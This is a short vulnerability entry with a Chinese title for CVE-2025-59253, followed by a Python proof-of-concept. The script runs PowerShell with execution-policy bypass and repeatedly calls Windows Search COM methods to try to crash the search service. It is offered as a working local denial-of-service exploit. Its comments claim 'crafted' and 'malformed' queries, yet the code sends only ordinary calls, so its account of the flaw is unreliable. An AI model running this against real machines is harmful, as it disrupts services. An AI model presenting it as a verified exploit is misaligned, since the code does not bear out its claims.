CVE-2025-59253 Microsoft Windows搜索组件访问控制不当漏洞

# CVE-2025-59253 - Windows Search Component Improper Access Control PoC # This PoC demonstrates triggering a denial of service in Windows Search Component # by exploiting improper access control with low-privilege local access. import subprocess import time import sys def trigger_search_dos(): """ Attempt to trigger denial of service in Windows Search Component by sending crafted requests to the search indexer service. """ print("[*] CVE-2025-59253 PoC - Windows Search Component DoS") print("[*] Requires local low-privilege access to target system") # Step 1: Check if Windows Search service is running result = subprocess.run( ['sc', 'query', 'WSearch'], capture_output=True, text=True ) print(f"[*] Search Service Status: {result.stdout.strip()}") # Step 2: Attempt to interact with search indexer via PowerShell # Using Windows.Search APIs with crafted parameters to trigger the vulnerability ps_command = ''' # Attempt to trigger improper access control in search component # by sending malformed queries to the search indexer try { $searchManager = New-Object -ComObject "Search.SearchManager" $catalog = $searchManager.GetCatalog("SystemIndex") # Send crafted query that exploits access control flaw $query = $catalog.GetCrawlScopeManager() # Attempt operation without proper privilege verification for ($i = 0; $i -lt 100; $i++) { $scope = $query.EnumerateScopeRules() } Write-Host "Query executed - check if search service is still responsive" } catch { Write-Host "Error or service disruption detected: $_" } ''' # Step 3: Execute the PowerShell command try: subprocess.run( ['powershell', '-ExecutionPolicy', 'Bypass', '-Command', ps_command], capture_output=True, text=True, timeout=30 ) print("[*] PoC executed. Check Windows Search service status.") except subprocess.TimeoutExpired: print("[!] Timeout - search service may be unresponsive") except Exception as e: print(f"[!] Error: {e}") # Step 4: Verify service status time.sleep(2) result = subprocess.run( ['sc', 'query', 'WSearch'], capture_output=True, text=True ) print(f"[*] Post-exploit Service Status: {result.stdout.strip()}") if __name__ == "__main__": trigger_search_dos()